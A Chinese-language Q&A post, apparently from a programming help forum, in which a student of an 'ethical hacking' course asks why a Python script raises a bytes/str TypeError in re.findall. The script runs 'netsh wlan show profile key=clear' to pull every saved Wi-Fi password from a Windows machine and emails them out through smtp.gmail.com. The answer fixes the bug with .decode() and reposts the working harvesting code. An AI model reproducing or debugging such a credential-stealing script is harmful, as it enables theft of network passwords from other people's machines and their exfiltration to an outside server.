在re库中使用findall时出错

如何解决在re库中使用findall时出错

我正在观看道德黑客课程，当我上这堂课时遇到错误，我不知道为什么 我尝试过，但这里出现错误：

    File "D:\send_emails.py",line 14,in <module>
    network_names_list = re.findall('(?:Profile\s*:\s)(.*)',networks)
    File "C:\Users\maha_\AppData\Local\Programs\Python\Python38\lib\re.py",line 241,in findall
    return _compile(pattern,flags).findall(string)
    TypeError: cannot use a string pattern on a bytes-like object

这是我的代码：

import subprocess,smtplib,re


def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com",587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email,email,message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command,shell=True)
network_names_list = re.findall('(?:Profile\s*:\s)(.*)',networks)
result = ""
for networks_names in network_names_list:
    command = 'netsh wlan show profile ' + '"' + networks_names + '" ' +" key=clear"
    passwords = subprocess.check_output(command,shell=True)
    result = result + passwords
send_mail("mygmail","mypassword",result)

解决方法

subprocess.check_output(command,shell=True)返回一个字节对象

使用subprocess.check_output(command,shell=True).decode()

将其转换为字符串

您还将在 result = result + passwords遇到错误，因为您无法将字符串连接为字节。而是在连接前在passwords上使用.decode（）。

所以您的最终代码应该是

import subprocess,smtplib,re


def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com",587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email,email,message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command,shell=True).decode()
network_names_list = re.findall('(?:Profile\s*:\s)(.*)',networks)
result = ""
for networks_names in network_names_list:
    command = "netsh wlan show profile " + networks_names + " key=clear"
    passwords = subprocess.check_output(command,shell=True)
    result = result + passwords.decode()